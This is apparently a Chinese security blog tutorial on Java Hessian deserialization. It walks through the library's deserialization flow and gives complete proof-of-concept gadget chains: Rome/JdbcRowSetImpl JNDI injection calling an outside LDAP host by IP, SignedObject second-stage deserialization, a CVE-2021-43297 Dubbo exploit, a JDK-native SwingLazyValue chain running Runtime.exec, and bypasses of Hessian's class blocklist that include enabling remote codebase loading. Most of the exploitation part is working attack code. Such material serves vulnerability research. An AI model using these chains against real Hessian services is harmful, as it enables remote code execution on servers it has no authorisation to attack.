java反序列化之Hessian

引用

Java反序列化之Hessian

Java安全之Hessian反序列化

Hessian协议

Hessian是一个基于RPC的高性能二进制远程传输协议,官方对Java、Flash/Flex、Python、C++、.NET C#等多种语言都进行了实现,并且Hessian一般通过Web Service提供服务。在Java中,Hessian的使用方法非常简单,它使用Java语言接口定义了远程对象,并通过序列化和反序列化将对象转为Hessian二进制格式进行传输

对于 Hessian2 协议,Java 的HashMap对象经过序列化后首位字节由M变为了H,对应 ascii 码 72,其他的区别不大

项目中加入依赖

1
2
3
4
5
<dependency>
<groupId>com.caucho</groupId>
<artifactId>hessian</artifactId>
<version>4.0.63</version>
</dependency>

基础使用

序列化

1
2
3
4
5
6
7
8
public static String ser(Object object) throws Exception{
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
Hessian2Output hessian2Output = new Hessian2Output(byteArrayOutputStream);
// hessian2Output.getSerializerFactory().setAllowNonSerializable(true);
hessian2Output.writeObject(object);
hessian2Output.flushBuffer();
return Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
}

反序列化

1
2
3
4
5
public static Object unser(String string) throws Exception{
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(Base64.getDecoder().decode(string));
Hessian2Input hessian2Input = new Hessian2Input(byteArrayInputStream);
return hessian2Input.readObject();
}

寻找之旅

普通反序列化流程

创建一个普通类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
package org.example;

public class Person {
//Person类未实现Serializable接口
public String name;
public transient int age; //age用transient修饰
private float weight;
public Person(String name,int age,float weight){
this.name = name;
this.age = age;
this.weight = weight;
}

public String getName() {
return name;
}

public int getAge() {
return age;
}

public float getWeight() {
return weight;
}

@Override
public String toString() {
return "Person{" +
"name='" + name + '\'' +
", age=" + age +
", weight=" + weight +
'}';
}
}

测试

1
2
3
String s = ser(new Person("sherlock",21,67));
Person person = (Person) unser(s);
System.out.println(person);

运行之后报错如下

image-20250331164812428

从报错信息很清楚地就可以看出来问题出在Person类没有实现Serializable接口,自己打断点跟踪可以发现原因是在于Hessian在序列化数据的时候还是会检查是否实现Serializable接口

image-20250331170343213

但是在Hessian中,序列化的这个规则很容易被打破,在上图代码中存在一个变量_isAllowNonSerializable,在hessian中可以由下面的语句设置为true

1
hessian2Output.getSerializerFactory().setAllowNonSerializable(true);

image-20250331171241548

改完之后我们再次运行,返回结果如下

image-20250331173143770

可以看到被transient修饰的字段不会被序列化,反序列化的时候返回默认值

也就是说Hessian的反序列化理论上支持反序列化任何对象

ok,接下来我们开始跟进反序列化流程

我们跟进readObject方法,这里的buffer是待反序列化字节流,然后取标识位,用于判断是什么类型的对象

image-20250401153219412

这里我们是自定义的类,所以走到了case ‘C’

image-20250401153329050

跟进readObjectDefinition,通过readString()方法获取到类名,readInt()方法获取到未被transient修饰的字段数,findSerializerFactory()方法获取到默认的工厂类SerializerFactory

image-20250401153623729

接下来是通过工厂类来获取反序列化器,我们跟进去

一路步入到如下所示

image-20250401154022491

往下走,会从一个表_staticTypeMap中获取基础类型的反序列化器,我们这是自定义的类,所以自然是没有的

image-20250401154152550

继续往下走该处,跟进去

image-20250401154306993

跟进load方法

image-20250401154408928

诶,这似乎是对反序列化的类进行一定的判断,跟进isAllow方法

image-20250401154517632

白名单为空,所以核验类是否在黑名单中

image-20250401154643117

都没有,最后返回true,进入if内容中进行一个类加载,返回

image-20250401155050425

跟进getDeserializer方法

image-20250401155202784

再跟进loadDeserializer方法,一直往下走,跟进getDefaultDeserializer方法

image-20250401155352580

我们可以发现最后获取的反序列化器是UnsafeDeserializer

image-20250401155531636

跟进去看看,可以发现在UnsafeDeserializer类的静态代码块中进行了unsafe对象的加载

image-20250401155930616

回到它的构造函数中,有一个getFieldMap方法对类进行一个对应field的获取

跟进去简单看一下,看到了对transient和static属性的处理,直接跳过不处理,这也是为什么前面观察到age属性无法被反序列化

image-20250401160425282

获取到的field会被存入一个hashmap里

image-20250401160521113

全部获取完返回后下一行代码就是对readResolve方法进行一个处理,跟原生反序列化一样,我们跟进去看看

image-20250401160823951

该函数逻辑很简单,就是遍历所有的方法,如果存在readResolve方法就方法它,不存在就返回null

image-20250401160954816

我们并没有重写readResolve方法,返回null,一路返回,最后是获取到的反序列化器便是UnsafeDeseializer

image-20250401161904879

继续返回,还会将获取到的反序列化器put进_cachedDeserializerMap表中

image-20250401162059390

然后继续返回,还会put进_cachedTypeDeserializerMap中

image-20250401162210526

最后返回到readObjectDefinition方法,reader便被赋为了UnsafeDeseializer

image-20250401162402744

往下走,会通过readString()方法来获取field的名字,然后丢进fields和fieldNames数组中

image-20250401162455216

继续往下,这里便是对前面重要内容进行一个封装,然后add到_classDefs类定义中

image-20250401162731491

image-20250401162810099

然后我们就步出了readObjectDefinition方法,方法如其名就是获取类的各种属性、反序列化器等并将其进行封装或put

接着我们跟进readObject方法

image-20250401163038183

走到这部分,会从_classDefs中获取到我们封装的重要内容,再跟进readObjectInstance方法

image-20250401163547678

上面部分就是会获取类的各种属性、反序列化器等等,然后我们跟进readObject函数中(可以看到时通过unsafeDeserializer进行的反序列化)

image-20250401163944191

image-20250401164224729

通过instantiate()方法会获取到一个空的Person对象,然后再跟进readObject方法

image-20250401164511395

这两步结束后,就完成了对对象的赋值,反序列化进程结束

漏洞点

上面的流程跟完了之后,感觉并没有像fastjson,jacskon那样在反序列化过程中有调用到任何的getter和setter,全部都是用过unsafe进行的操作

那漏洞点在哪里呢?

答案就在于Hessian对于Map的反序列化过程中,会将反序列化过后的键值对put进map中

hashCode()

创建一个HashMap对象并进行调试

跟进readObject后,会走到case ‘H’处

image-20250401192407841

跟进readMap方法

image-20250401192509619

我们可以看到当type为null,获取不到反序列化器时,会新生成一个_type值为HashMap的MapDeserializer对象

跟进它的readMap方法

image-20250401192819975

如果_type为null则会自动给map赋为HashMap;如果它是Map类,则也会被当作HashMap;如果它是StoredMap类,则是被当作TreeMap进行反序列化

_type不为以上三种则直接生成对象

然后开始将键值对分别反序列化后存入map中

image-20250401193200221

熟悉的put方法,之前我们都有跟过在HashMap调用put方法的时候,为了检测key值的唯一性,会先调用hash(key),进而调用key.hashCode()

image-20250401193435912

image-20250401193447471

所以很明显了,我们可以在HashMap的key处做文章,将hashCode方法作为入口点

equals()

在putVal方法里面,还会调用key的equals方法

image-20250401194817652

compareTo()/compare()

对于TreeMap,为了检验key值

改一个自定义的Comparable

1
2
3
4
5
6
7
8
9
TreeMap<Object,Object> treeMap = new TreeMap<>();
treeMap.put(new Comparable() {
@Override
public int compareTo(Object o) {
return 0;
}
}, null);
String treeMapStr = ser(treeMap);
unser(treeMapStr);

进行调试,跟进readObject,走到case ‘M’

先是通过readType()获取到type值,然后再调用readMap方法

image-20250401195458416

跟进去,然后走到MapDeserializer的readMap()处

image-20250401195827306

继续跟进去

image-20250401200005704

跟我们第一个分析的HashMap大差不差,差别比较大的就是TreeMap的put方法,这里我们跟进去

image-20250401200126039

跟进第一个compare方法

image-20250401200158605

comparator默认为null,所以会对k1调用了compareTo(),如果comparator(反射可赋值)不为null,还能调用comparator的compare()方法

因此我们就自然而然地走到了我们自己重写的compareTo方法

image-20250401200505671

gadget

Rome

正好呢前段时间刚学完Rome反序列化,这里我们也正好可以用上

实际上一整条链子和yso的几乎没什么区别

1
2
3
4
5
6
7
8
9
10
11
JdbcRowSetImpl.getDatabaseMetaData()
Method.invoke(Object, Object...)
ToStringBean.toString(String)
ToStringBean.toString()
ObjectBean.toString()
EqualsBean.beanHashCode()
HashMap.hash()
HashMap.put()
MapDeserializer.readMap()
SerializerFactory.readMap()
Hessian2Input.readObject()

poc如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
package org.example;

import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import com.sun.rowset.JdbcRowSetImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ToStringBean;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;

public class Test {
public static void main(String[] args) throws Exception {
JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
String url = "ldap://47.113.102.46:50389/53bee6";
jdbcRowSet.setDataSourceName(url);
ToStringBean toStringBean = new ToStringBean(JdbcRowSetImpl.class,jdbcRowSet);
EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);
HashMap<Object,Object> hashMap = new HashMap<>();
hashMap.put("aaa", "123");
Field tableField = HashMap.class.getDeclaredField("table");
tableField.setAccessible(true);
Object[] table = (Object[]) tableField.get(hashMap);
for (Object entry: table){
if (entry != null){
setField(entry,"key",equalsBean);
}
}
String s = ser(hashMap);
unser(s);
}

public static void setField(Object object,String fieldName,Object value) throws Exception{
Class<?> c = object.getClass();
Field field = c.getDeclaredField(fieldName);
field.setAccessible(true);
field.set(object,value);
}

public static String ser(Object object) throws Exception{
ByteArrayOutputStream byteArrayOutputStream= new ByteArrayOutputStream();
Hessian2Output hessian2Output = new Hessian2Output(byteArrayOutputStream);
hessian2Output.getSerializerFactory().setAllowNonSerializable(true);
hessian2Output.writeObject(object);
hessian2Output.flushBuffer();
return Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
}

public static Object unser(String string) throws Exception{
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(Base64.getDecoder().decode(string));
Hessian2Input hessian2Input = new Hessian2Input(byteArrayInputStream);
return hessian2Input.readObject();
}
}

有个小问题就是相比于yso的rome链,这里没办法使用TemplatesImpl,一开始没有报错也不清楚问题出在哪

摸索了一番之后猜测原因在于_tfactory属性是transient的,在原生反序列化中通过重写readObject()来给其赋值,但是在hessian中对于transient的属性是没办法反序列化的,并且只能在readResolve()中可能还原

二次反序列化

利用java.security.SignedObject下的getObject()方法实现原生反序列化

image-20250401210407647

在使用Java原生的反序列化时,如果被反序列化的类重写了readObject(),那么Java就会通过反射来调用重写的readObject()

下面我们来看TemplatesImpl类的readObject()方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
private void  readObject(ObjectInputStream is)
throws IOException, ClassNotFoundException
{
SecurityManager security = System.getSecurityManager();
if (security != null){
String temp = SecuritySupport.getSystemProperty(DESERIALIZE_TRANSLET);
if (temp == null || !(temp.length()==0 || temp.equalsIgnoreCase("true"))) {
ErrorMsg err = new ErrorMsg(ErrorMsg.DESERIALIZE_TRANSLET_ERR);
throw new UnsupportedOperationException(err.toString());
}
}

// We have to read serialized fields first.
ObjectInputStream.GetField gf = is.readFields();
_name = (String)gf.get("_name", null);
_bytecodes = (byte[][])gf.get("_bytecodes", null);
_class = (Class[])gf.get("_class", null);
_transletIndex = gf.get("_transletIndex", -1);

_outputProperties = (Properties)gf.get("_outputProperties", null);
_indentNumber = gf.get("_indentNumber", 0);

if (is.readBoolean()) {
_uriResolver = (URIResolver) is.readObject();
}

_tfactory = new TransformerFactoryImpl();
}

可以看到这里手动new了一个TransformerFactoryImpl类赋值给_tfactory,这样就解决了_tfactory无法被序列化的情况

所以这里我们就可以配合SignedObject类来实现,在SignedObject类的构造函数能够序列化一个类并且将其存储到属性content

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
package org.example;

import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.rowset.JdbcRowSetImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ToStringBean;

import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.security.*;
import java.util.Base64;
import java.util.HashMap;

public class Test {
public static void main(String[] args) throws Exception {
TemplatesImpl templatesimpl = new TemplatesImpl();
byte[] bytecodes = Files.readAllBytes(Paths.get("E:\\mycode\\tmp\\Test.class"));
setField(templatesimpl,"_name","aaa");
setField(templatesimpl,"_bytecodes",new byte[][] {bytecodes});
setField(templatesimpl, "_tfactory", new TransformerFactoryImpl());
ToStringBean toStringBean = new ToStringBean(Templates.class,templatesimpl);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(123);
setField(badAttributeValueExpException,"val",toStringBean);
KeyPairGenerator keyPairGenerator;
keyPairGenerator = KeyPairGenerator.getInstance("DSA");
keyPairGenerator.initialize(1024);
KeyPair keyPair = keyPairGenerator.genKeyPair();
PrivateKey privateKey = keyPair.getPrivate();
Signature signingEngine = Signature.getInstance("DSA");
SignedObject signedObject = new SignedObject(badAttributeValueExpException,privateKey,signingEngine);
ToStringBean toStringBean1 = new ToStringBean(SignedObject.class, signedObject);
EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean1);
HashMap<Object,Object> hashMap = new HashMap<>();
hashMap.put("aaa", "123");
Field tableField = HashMap.class.getDeclaredField("table");
tableField.setAccessible(true);
Object[] table = (Object[]) tableField.get(hashMap);
for (Object entry: table){
if (entry != null){
setField(entry,"key",equalsBean);
}
}
String s = ser(hashMap);
unser(s);
}

public static void setField(Object object,String fieldName,Object value) throws Exception{
Class<?> c = object.getClass();
Field field = c.getDeclaredField(fieldName);
field.setAccessible(true);
field.set(object,value);
}

public static String ser(Object object) throws Exception{
ByteArrayOutputStream byteArrayOutputStream= new ByteArrayOutputStream();
Hessian2Output hessian2Output = new Hessian2Output(byteArrayOutputStream);
hessian2Output.getSerializerFactory().setAllowNonSerializable(true);
hessian2Output.writeObject(object);
hessian2Output.flushBuffer();
return Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
}

public static Object unser(String string) throws Exception{
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(Base64.getDecoder().decode(string));
Hessian2Input hessian2Input = new Hessian2Input(byteArrayInputStream);
return hessian2Input.readObject();
}
}

Resin

导入依赖

1
2
3
4
5
<dependency>
<groupId>com.caucho</groupId>
<artifactId>resin</artifactId>
<version>4.0.63</version>
</dependency>

Apache Dubbo Hessian2 异常处理时反序列化(CVE-2021-43297)

在Hissian2Input#expect()方法下,存在这么几点需要注意的

1、Input序列化流的offset在这个过程中自减1

2、offset自减1后,调用readObject()进行反序列化

3、将obj和字符串进行拼接,将调用obj的toString()方法

toString()能够大大延伸利用链

image-20250401213007115

查找用法,除了readObject()之外几乎所有read**()方法都有调用

image-20250401213230268

查找用法走到readString()方法,读取一个字节流,经过判断是否为一些基本类型之后,若都不是,则走进default来执行expect()抛出异常

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public String readString()
throws IOException
{
int tag = read();

switch (tag) {
case 'N':
return null;
case 'T':
return "true";
......

default:
throw expect("string", tag);
}
}

在上面跟踪反序列化流程的时候,提到过在readObjectDefinition()中获取类类型的时候第一步就会调用readString()方法来获取对象的type

在readObject()中,当第一个字节为大写’C’,对应ascii为67

img

前面我们提到,hessian是通过byte每一部分的第一个字符即tag作为标识符来判断后续一部分字节流对应的类型

前面使用hashmap的时候Byte的第一位为72,即’H’,会走到hashmap的反序列化流程

重要的是,这一部分字节流都是我们可控的

接下来就是如何让tag为67了,可以重写 writeString 指定第一次 read 的 tag 为 67, 还可以给序列化得到的bytes数组前加一个67

Poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
package org.example;

import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import com.sun.rowset.JdbcRowSetImpl;
import com.sun.syndication.feed.impl.ToStringBean;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;

public class Test {
public static void main(String[] args) throws Exception {
JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
String url = "ldap://47.113.102.46:50389/c8ad0f";
jdbcRowSet.setDataSourceName(url);
ToStringBean bean = new ToStringBean(JdbcRowSetImpl.class, jdbcRowSet);

ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
Hessian2Output hessian2Output = new Hessian2Output(byteArrayOutputStream);
hessian2Output.writeObject(bean);
hessian2Output.close();
byte[] data = byteArrayOutputStream.toByteArray();
byte[] poc = new byte[data.length + 1];
System.arraycopy(new byte[]{67}, 0, poc, 0, 1);
System.arraycopy(data, 0, poc, 1, data.length);

ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(poc);
Hessian2Input hessian2Input = new Hessian2Input(byteArrayInputStream);
System.out.println(hessian2Input.readObject());
hessian2Input.close();
}
}

Hessian-jdk原生链

Runtime

入口点在javax.activation.MimeTypeParameterList的toString(),调用了parameters的get方法,而这里的parameters方法是一个HashTable

image-20250402200432494

查一下HashTable的子类,看看哪个是有get方法的

结果只有UIDefaults有get()方法,并在其中调用了getFromHashtable(),传入的key可控

image-20250402200709146

在getFromHashtable()中,value从hashtable中通过key获取,LazyVlue是一个接口,若value是LazyValue的子类,调用value的createValue()方法

image-20250402202528589

image-20250402202613440

依次找一找LazyValue实现类的createValue()

在LazyPainter下的createValue()中有类加载和类实例化,前面讲到CC链的时候提到TrAXFilter的构造器下调用了Templates的newTransformer()方法实现攻击

但是定睛一看,1332行指定了构造器的参数,和我们想要的的TrAXFilter完全不同,走不通,继续看看

image-20250402203017717

还有一个实现类SwingLazyValue,看看它的createValue()方法

image-20250402203742456

从该方法的具体内容中我们可以知道这里只能调用任意的静态方法,不能够调用实例方法

但是嘞,下面通过构造函数任意实例化对象到倒是了我们如何利用TrAXFilter提供了一个思路

看一下SwingLazyValue的构造函数

image-20250402210530630

回顾一下利用流程:

1
2
3
4
javax.activation.MimeTypeParameterList.toString()
javax.swing.UIDefaults.get(Object)
javax.swing.UIDefaults.getFromHashtable(Object)
SwingLazyValue.createValue(UIDefaults)

初步构造一下

1
2
3
4
5
6
7
Object[] arg = new Object[]{getTemplates()};
MimeTypeParameterList mimeTypeParameterList = createObjWithoutConstructor(MimeTypeParameterList.class);
UIDefaults defaults = new UIDefaults();
SwingLazyValue swingLazyValue = new SwingLazyValue("com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter",null,arg);
defaults.put("666",swingLazyValue);
setField(mimeTypeParameterList,"parameters",defaults);
System.out.println(mimeTypeParameterList);

但是是能走到createValue()中的,当步过获取构造函数的一行的时候抛出异常

img

观察className等均没问题,感觉问题是出在getClassArray()的返回值,跟进去看看,最后通过getClass()来获取TemplatesImpl的class的

img

但是我们去看看TrAXFilter的构造函数,参数是接口Templates而并非TemplatesImpl,所以在getConstructor()的时候会出错

img

目前不知如何解决,所以转换一下思路,看看静态方法调用如何能够如何利用

MethodUtil的invoke方法可以调用任意对象的方法(这里指的是该类中的static的invoke方法)

image-20250404195828116

直接使用的话方法如下

1
MethodUtil.invoke(Runtime.class.getDeclaredMethod("exec", String.class),Runtime.getRuntime(),new Object[]{"calc"});

但是如果在SwingLazyValue()构造函数中传

很容易发现,Runtime.getRuntime()在进入SwingLazyValue.createValue()之后会获取其类Runtime.class

1
SwingLazyValue swingLazyValue = new SwingLazyValue("sun.reflect.misc.MethodUtil","invoke",new Object[]{Runtime.class.getDeclaredMethod("exec", String[].class),Runtime.getRuntime(),new Object[]{"calc"}});

但是MethodUtil.invoke()的第二个参数是Object而不是Runtime,因此Method会获取失败

img

所以这里要做一个简单的变通,二次调用MethodUtil.invoke(),因为MethodUtil.invoke()是静态方法,所以二次调用中第二个参数可以是任意的值

为了符合SwingLazyValue.createValue()中获取Method的type,我们让它是Object对象

1
2
3
Method invokeMethod = MethodUtil.class.getMethod("invoke", Method.class, Object.class, Object[].class);
Method execMethod = Runtime.class.getDeclaredMethod("exec", String.class);
MethodUtil.invoke(invokeMethod,new Object(),new Object[]{execMethod,Runtime.getRuntime(),new Object[]{"calc"}});

正向构造一下poc并用println()触发toString():

1
2
3
4
5
6
7
8
9
10
        Method invokeMethod = MethodUtil.class.getMethod("invoke", Method.class, Object.class, Object[].class);
Method execMethod = Runtime.class.getDeclaredMethod("exec", String.class);
// MethodUtil.invoke(invokeMethod,new Object(),new Object[]{execMethod,Runtime.getRuntime(),new Object[]{"calc"}});

MimeTypeParameterList mimeTypeParameterList = createObjWithoutConstructor(MimeTypeParameterList.class);
UIDefaults defaults = new UIDefaults();
SwingLazyValue swingLazyValue = new SwingLazyValue("sun.reflect.misc.MethodUtil","invoke",new Object[]{invokeMethod,new Object(),new Object[]{execMethod,Runtime.getRuntime(),new Object[]{"calc"}}});
defaults.put("666",swingLazyValue);
setField(mimeTypeParameterList,"parameters",defaults);
System.out.println(mimeTypeParameterList);

成功弹出计算器,接下来就是要思考反序列化过程中如何触发toString()方法了

很简单,利用上面刚刚学过的异常处理时反序列化,在序列化后的字节组前面再添加一个’67’就可以啦

Poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
package org.example;

import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;

import sun.reflect.ReflectionFactory;
import sun.reflect.misc.MethodUtil;
import sun.swing.SwingLazyValue;

import javax.activation.MimeTypeParameterList;
import javax.swing.*;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;

import java.util.*;

public class Test {

public static void main(String[] args) throws Exception {

Method invokeMethod = MethodUtil.class.getMethod("invoke", Method.class, Object.class, Object[].class);
Method execMethod = Runtime.class.getDeclaredMethod("exec", String.class);
// MethodUtil.invoke(invokeMethod,new Object(),new Object[]{execMethod,Runtime.getRuntime(),new Object[]{"calc"}});

MimeTypeParameterList mimeTypeParameterList = createObjWithoutConstructor(MimeTypeParameterList.class);
UIDefaults defaults = new UIDefaults();
SwingLazyValue swingLazyValue = new SwingLazyValue("sun.reflect.misc.MethodUtil","invoke",new Object[]{invokeMethod,new Object(),new Object[]{execMethod,Runtime.getRuntime(),new Object[]{"calc"}}});
defaults.put("666",swingLazyValue);
setField(mimeTypeParameterList,"parameters",defaults);
// System.out.println(mimeTypeParameterList);

String s = ser(mimeTypeParameterList);
System.out.println(s);
unser(s);

}


public static Object unser(String string) throws Exception{
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(Base64.getDecoder().decode(string));
Hessian2Input hessian2Input = new Hessian2Input(byteArrayInputStream);
Object obj = hessian2Input.readObject();
return obj;
}

public static String ser(Object object) throws Exception{
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
Hessian2Output hessian2Output = new Hessian2Output(byteArrayOutputStream);
hessian2Output.getSerializerFactory().setAllowNonSerializable(true);
byteArrayOutputStream.write(67);
hessian2Output.writeObject(object);
hessian2Output.flushBuffer();
return Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
}

public static void setField(Object object,String fieldName,Object value) throws Exception{
Class<?> c = object.getClass();
Field field = c.getDeclaredField(fieldName);
field.setAccessible(true);
field.set(object,value);
}

public static <T> T createObjWithoutConstructor(Class<T> clazz) throws Exception{
ReflectionFactory reflectionFactory = ReflectionFactory.getReflectionFactory();
Constructor<Object> constructor = Object.class.getDeclaredConstructor();
Constructor<?> constructor1 = reflectionFactory.newConstructorForSerialization(clazz,constructor);
constructor1.setAccessible(true);
return (T) constructor1.newInstance();
}

}

用上述poc的话hessian版本需要在4.0.60以下

要是遇到一些奇怪的报错可看看该文章找个原因:https://blog.potatowo.top/2024/11/12/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B9%8BHessian

hessian高版本绕过

hessian>=4.0.60

在上面分析反序列化过程中我们用的hessian版本就是大于4.0.60的,在这过程中有个函数isAllow(),在低版本里面只有一个白名单,并且其中还是空的,所以基本没什么用处

在高版本里面增加了一个黑名单的判断,并且是禁了Runtime的

但是JdbcRowSetImpl.getDatabaseMetaData()导致的jndi注入,并没有在黑名单中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
        Method invokeMethod = MethodUtil.class.getMethod("invoke", Method.class, Object.class, Object[].class);
// Method execMethod = Runtime.class.getDeclaredMethod("exec", String.class);
Method jndiMethod = JdbcRowSetImpl.class.getMethod("getDatabaseMetaData");


Field field = BaseRowSet.class.getDeclaredField("dataSource");
field.setAccessible(true);
JdbcRowSetImpl jdbcRowSet = createObjWithoutConstructor(JdbcRowSetImpl.class);
field.set(jdbcRowSet,"ldap://127.0.0.1:8085/evil");
// jdbcRowSet.getDatabaseMetaData();
MimeTypeParameterList mimeTypeParameterList = createObjWithoutConstructor(MimeTypeParameterList.class);
UIDefaults defaults = new UIDefaults();
SwingLazyValue swingLazyValue = new SwingLazyValue("sun.reflect.misc.MethodUtil","invoke",new Object[]{invokeMethod,new Object(),new Object[]{jndiMethod,jdbcRowSet,new Object[]{}}});
defaults.put("666",swingLazyValue);
setField(mimeTypeParameterList,"parameters",defaults);
// System.out.println(mimeTypeParameterList);

String s = ser(mimeTypeParameterList);
unser(s);

在jdk低版本,hessian高版本情况下成功弹窗

JNDI绕过jdk高版本trustURLCodebase限制

在前面学习jndi注入的时候还要学到一种方法,就是利用System.setProperty()方法来修改系统变量,乍一看System好像在前面Hessian高版本的黑名单中,但是实际上序列化的并不是System对象,而是setProperty()方法的Method对象,所以在Hessian高版本依旧行得通

回到上面,观察javax.activation.MimeTypeParameterList的toString()的代码,很容易看出对UIDefaults进行键值对的遍历

因此能够在触发payload的value之前,put一个调用setProperty()方法的value

但是突然想到一个问题

调用setProperty()之后,第一个键值对完成了他的使命,java程序抛出了异常

所以程序无法继续执行下去,代码蛮写一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
        Method invokeMethod = MethodUtil.class.getMethod("invoke", Method.class, Object.class, Object[].class);
// Method execMethod = Runtime.class.getDeclaredMethod("exec", String.class);
Method jndiMethod = JdbcRowSetImpl.class.getMethod("getDatabaseMetaData");
Method setPropertyMethod = System.class.getDeclaredMethod("setProperty", String.class, String.class);

MimeTypeParameterList mimeTypeParameterList0 = createObjWithoutConstructor(MimeTypeParameterList.class);
SwingLazyValue swingLazyValue0 = new SwingLazyValue("sun.reflect.misc.MethodUtil","invoke",new Object[]{invokeMethod,new Object(),new Object[]{setPropertyMethod,new Object(),new Object[]{"com.sun.jndi.ldap.object.trustURLCodebase","true"}}});


// System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");

Field field = BaseRowSet.class.getDeclaredField("dataSource");
field.setAccessible(true);
JdbcRowSetImpl jdbcRowSet = createObjWithoutConstructor(JdbcRowSetImpl.class);
field.set(jdbcRowSet,"ldap://127.0.0.1:8085/evil");
// jdbcRowSet.getDatabaseMetaData();

MimeTypeParameterList mimeTypeParameterList = createObjWithoutConstructor(MimeTypeParameterList.class);
UIDefaults defaults = new UIDefaults();
SwingLazyValue swingLazyValue = new SwingLazyValue("sun.reflect.misc.MethodUtil","invoke",new Object[]{invokeMethod,new Object(),new Object[]{jndiMethod,jdbcRowSet,new Object[]{}}});

defaults.put("777",swingLazyValue0);
defaults.put("1",swingLazyValue);

setField(mimeTypeParameterList,"parameters",defaults);
// System.out.println(mimeTypeParameterList);


String s = ser(mimeTypeParameterList);
unser(s);

若用try结构也能触发

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
        Method invokeMethod = MethodUtil.class.getMethod("invoke", Method.class, Object.class, Object[].class);
// Method execMethod = Runtime.class.getDeclaredMethod("exec", String.class);
Method jndiMethod = JdbcRowSetImpl.class.getMethod("getDatabaseMetaData");
Method setPropertyMethod = System.class.getDeclaredMethod("setProperty", String.class, String.class);

MimeTypeParameterList mimeTypeParameterList0 = createObjWithoutConstructor(MimeTypeParameterList.class);
UIDefaults defaults0 = new UIDefaults();
SwingLazyValue swingLazyValue0 = new SwingLazyValue("sun.reflect.misc.MethodUtil","invoke",new Object[]{invokeMethod,new Object(),new Object[]{setPropertyMethod,new Object(),new Object[]{"com.sun.jndi.ldap.object.trustURLCodebase","true"}}});


// System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");

Field field = BaseRowSet.class.getDeclaredField("dataSource");
field.setAccessible(true);
JdbcRowSetImpl jdbcRowSet = createObjWithoutConstructor(JdbcRowSetImpl.class);
field.set(jdbcRowSet,"ldap://127.0.0.1:8085/evil");
// jdbcRowSet.getDatabaseMetaData();

MimeTypeParameterList mimeTypeParameterList = createObjWithoutConstructor(MimeTypeParameterList.class);
UIDefaults defaults = new UIDefaults();
SwingLazyValue swingLazyValue = new SwingLazyValue("sun.reflect.misc.MethodUtil","invoke",new Object[]{invokeMethod,new Object(),new Object[]{jndiMethod,jdbcRowSet,new Object[]{}}});

defaults0.put("777",swingLazyValue0);
defaults.put("1",swingLazyValue);

setField(mimeTypeParameterList0,"parameters",defaults0);
